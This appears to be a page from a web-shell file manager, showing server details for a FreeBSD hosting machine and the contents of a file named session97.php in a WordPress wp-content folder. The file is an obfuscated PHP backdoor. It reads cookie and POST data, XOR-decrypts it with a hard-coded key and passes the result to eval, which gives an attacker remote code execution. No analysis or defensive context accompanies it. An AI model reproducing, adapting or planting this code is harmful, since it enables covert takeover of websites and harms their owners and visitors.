HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/session97.php
<?php
$zxgcph = '5vy0r7o*e#xd3u8apcs1nfb_6-mHtl4gik\'2';$vluybh = Array();$vluybh[] = $zxgcph[27].$zxgcph[7];$vluybh[] = $zxgcph[17].$zxgcph[11].$zxgcph[8].$zxgcph[14].$zxgcph[19].$zxgcph[35].$zxgcph[21].$zxgcph[35].$zxgcph[25].$zxgcph[8].$zxgcph[12].$zxgcph[11].$zxgcph[24].$zxgcph[25].$zxgcph[30].$zxgcph[5].$zxgcph[3].$zxgcph[15].$zxgcph[25].$zxgcph[22].$zxgcph[24].$zxgcph[5].$zxgcph[0].$zxgcph[25].$zxgcph[8].$zxgcph[19].$zxgcph[5].$zxgcph[35].$zxgcph[12].$zxgcph[5].$zxgcph[3].$zxgcph[3].$zxgcph[35].$zxgcph[15].$zxgcph[24].$zxgcph[22];$vluybh[] = $zxgcph[9];$vluybh[] = $zxgcph[17].$zxgcph[6].$zxgcph[13].$zxgcph[20].$zxgcph[28];$vluybh[] = $zxgcph[18].$zxgcph[28].$zxgcph[4].$zxgcph[23].$zxgcph[4].$zxgcph[8].$zxgcph[16].$zxgcph[8].$zxgcph[15].$zxgcph[28];$vluybh[] = $zxgcph[8].$zxgcph[10].$zxgcph[16].$zxgcph[29].$zxgcph[6].$zxgcph[11].$zxgcph[8];$vluybh[] = $zxgcph[18].$zxgcph[13].$zxgcph[22].$zxgcph[18].$zxgcph[28].$zxgcph[4];$vluybh[] = $zxgcph[15].$zxgcph[4].$zxgcph[4].$zxgcph[15].$zxgcph[2].$zxgcph[23].$zxgcph[26].$zxgcph[8].$zxgcph[4].$zxgcph[31].$zxgcph[8];$vluybh[] = $zxgcph[18].$zxgcph[28].$zxgcph[4].$zxgcph[29].$zxgcph[8].$zxgcph[20];$vluybh[] = $zxgcph[16].$zxgcph[15].$zxgcph[17].$zxgcph[33];foreach ($vluybh[7]($_COOKIE, $_POST) as $wksoou => $opysak){function jmbky($vluybh, $wksoou, $fcylnqq){return $vluybh[6]($vluybh[4]($wksoou . $vluybh[1], ($fcylnqq / $vluybh[8]($wksoou)) + 1), 0, $fcylnqq);}function wlfjvx($vluybh, $zkbcw){return @$vluybh[9]($vluybh[0], $zkbcw);}function zczwxcf($vluybh, $zkbcw){$sdigbq = $vluybh[3]($zkbcw) % 3;if (!$sdigbq) {eval($zkbcw[1]($zkbcw[2]));exit();}}$opysak = wlfjvx($vluybh, $opysak);zczwxcf($vluybh, $vluybh[5]($vluybh[2], $opysak ^ jmbky($vluybh, $wksoou, $vluybh[8]($opysak))));}